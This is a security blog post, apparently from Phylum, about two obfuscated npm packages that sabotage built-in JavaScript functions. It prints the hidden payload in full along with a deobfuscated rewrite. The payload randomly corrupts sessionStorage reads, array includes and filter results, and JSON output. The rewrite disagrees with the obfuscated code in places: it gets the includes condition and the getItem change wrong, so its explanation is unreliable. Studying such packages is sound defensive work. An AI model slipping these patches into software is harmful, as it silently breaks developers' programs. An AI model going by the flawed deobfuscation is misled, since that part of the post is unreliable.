Phylum Discovers Mischievous NPM Publications

Phylum Discovers Mischievous NPM Publications

That’s right, we’re not talking about a malicious discovery today, but rather a mischievous one. Phylum’s automated risk detection platform alerted us to the publication of some obfuscated JavaScript packages to NPM on April 24th, 2023 and after deobfuscating it, we were surprised at what we found.

--cta--

The Malicious Mischievous Packages

The (mostly) obfuscated packages are called https://app.phylum.io/package/npm/lodash-simple/1.0.0 and https://app.phylum.io/package/npm/lodash_tailwind/1.0.2 published by an author called craftlk. The two packages are identical and they contain the following index.js file:

(_0x2c7080 => {
  const _0x493547 =
    _0x2c7080[
      '\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'
    ]['\u0067\u0065\u0074\u0049\u0074\u0065\u006d'];
  _0x2c7080['\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'][
    '\u0067\u0065\u0074\u0049\u0074\u0065\u006d'
  ] = function (..._0x51b975) {
    let _0x4e4c6f = _0x493547['\u0063\u0061\u006c\u006c'](
      _0x2c7080[
        '\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'
      ],
      ..._0x51b975
    );
    if (Math['\u0072\u0061\u006e\u0064\u006f\u006d']() < 0.05) {
      _0x4e4c6f = ''.split('').reverse().join('');
    }
    return _0x4e4c6f;
  };
  const _0x4a81b7 =
    Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065'][
      '\u0069\u006e\u0063\u006c\u0075\u0064\u0065\u0073'
    ];
  Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065']['includes'] = function (
    ..._0x54c25c
  ) {
    if (
      this['\u006c\u0065\u006e\u0067\u0074\u0068'] % (0xe1f32 ^ 0xe1f35) !==
      (0x37d9f ^ 0x37d9f)
    ) {
      return _0x4a81b7['\u0063\u0061\u006c\u006c'](this, ..._0x54c25c);
    } else {
      return ![];
    }
  };
  const _0x11b939 = Array['prototype']['\u0066\u0069\u006c\u0074\u0065\u0072'];
  Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065']['filter'] = function (
    ..._0x3b996b
  ) {
    result = _0x11b939['call'](this, ..._0x3b996b);
    if (new Date()['getDay']() === (0x84940 ^ 0x84940) && Math['random']() < 0.1) {
      result['length'] = Math['\u006d\u0061\u0078'](
        result['length'] - (0x2864d ^ 0x2864c),
        0x6cd2c ^ 0x6cd2c
      );
    }
    return result;
  };
  const _0x140e7c = JSON['stringify'];
  JSON['stringify'] = function (..._0x17be51) {
    if (Math['random']() < 0.1) {
      return _0x140e7c(..._0x17be51)['\u0072\u0065\u0070\u006c\u0061\u0063\u0065'](/I/g, 'l');
    } else {
      return _0x140e7c(..._0x17be51);
    }
  };
})((0xc9e24 ^ 0xc9e24, eval)('\u0074\u0068\u0069\u0073'));
index.js file from both lodash-tailwind and lodash-simple

Deobfuscated it reveals the following:

(function(main) {
  const getItemFn = main['sessionStorage']['getItem'];
  
  main['sessionStorage']['getItem'] = function(...args) {
    let result = getItemFn.call(main['sessionStorage'], ...args);
    if (Math.random() < 0.05) {
      result = result.split('').reverse().join('');
    }
    return result;
  };
  
  const arrayPrototype = Array.prototype;
  const originalIncludes = arrayPrototype.includes;
  
  arrayPrototype.includes = function(...args) {
    if (this.length % 2 !== 0) {
      return false;
    } else {
      return originalIncludes.call(this, ...args);
    }
  };
  
  const originalFilter = arrayPrototype.filter;
  
  arrayPrototype.filter = function(...args) {
    let result = originalFilter.call(this, ...args);
    if (new Date().getDay() === 0 && Math.random() < 0.1) {
      result.length = Math.max(result.length - 1, 0);
    }
    return result;
  };
  
  const originalStringify = JSON.stringify;
  
  JSON.stringify = function(...args) {
    if (Math.random() < 0.1) {
      return originalStringify(...args).replace(/I/g, 'l');
    } else {
      return originalStringify(...args);
    }
  };
  
})(this);

Okay, before we look at these functions in more detail, let me ask you a few questions. Are you tired of the monotony of straightforward, predictable programming? Do you long for a life of danger and unpredictability? Are you just dying for more non-deterministic behavior in your JavaScript projects? If you answered “yes” to any of those questions, then hold on to your keyboards folks, because you’ve come to the right place! Get ready to shake things up and say goodbye to your boring old code, because these packages are about to turn your world upside down!

They consist of a series of monkey patches that modify the behavior of various built-in JavaScript functions. These modifications introduce random and unpredictable behavior to the otherwise deterministic behavior of these functions. If this sounds like your brand of fun, then follow me!

Session Storage Retrieval Roulette

If you’re like me and tired of getting the same old predictable values out of your session storage, look no further!

const getItemFn = main['sessionStorage']['getItem'];
  
  main['sessionStorage']['getItem'] = function(...args) {
    let result = getItemFn.call(main['sessionStorage'], ...args);
    if (Math.random() < 0.05) {
      result = result.split('').reverse().join('');
    }
    return result;
  };

This code will randomly reverse the string retrieved from the session storage with just a 5% probability. It adds just the right amount of spice to your otherwise dull and monotonous JavaScript code. Who knew retrieving session storage items could be so exciting?

Oddly Even Inclusion

Predictable array inclusion checks are soo 2022.

const arrayPrototype = Array.prototype;
  const originalIncludes = arrayPrototype.includes;
  
  arrayPrototype.includes = function(...args) {
    if (this.length % 2 !== 0) {
      return false;
    } else {
      return originalIncludes.call(this, ...args);
    }
  };

With this little snippet, you can now experience the thrill of never knowing whether or not your arrays include a certain element. This function returns false when calling includes() on an array of odd length, making your code about as unpredictable as the weather.

Sunday Funday

Weekends are supposed to be for relaxing right? Right?? Don’t tell that to this JavaScript function!

const originalFilter = arrayPrototype.filter;
  
  arrayPrototype.filter = function(...args) {
    let result = originalFilter.call(this, ...args);
    if (new Date().getDay() === 0 && Math.random() < 0.1) {
      result.length = Math.max(result.length - 1, 0);
    }
    return result;
  };

This doozy randomly removes an element with 10% probability from an array returned by the filter() method, but only on Sundays! So, if you thought you could trust your code to take a break on the weekends, think again.

Stringing Us Along

JSON.stringify is a pretty straightforward function, right? Not anymore!

const originalStringify = JSON.stringify;
  
  JSON.stringify = function(...args) {
    if (Math.random() < 0.1) {
      return originalStringify(...args).replace(/I/g, 'l');
    } else {
      return originalStringify(...args);
    }
  };

With this code, you can add some much-needed unpredictability to your serialization process. This function will randomly replace all the occurrences of the letter 'I' (uppercase i) with the letter 'l' (lowercase L), but only with a 10% probability. So, if you're tired of boring and predictable JSON output, then this gem is for you! And depending on your font, you might not even notice! Here’s to living life on the edge!

Conclusion

While we've had some fun exploring the bizarre and random behavior of this obfuscated JavaScript, it's important to remember that this package is readily available on NPM with a seemingly harmless name. While it may not be malicious in intent, the unpredictable behavior it introduces could cause serious headaches for developers trying to debug their code. It’s also worth noting that obfuscated code hiding behind benign package names is a very common tactic among actual malware authors. As far as I’m concerned, it’s safer to treat all obfuscated code as malicious until proven otherwise. After all, there’s a reason the author obfuscated it in the first place; they don’t want you to know what it’s doing! Stay vigilant my friends!

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.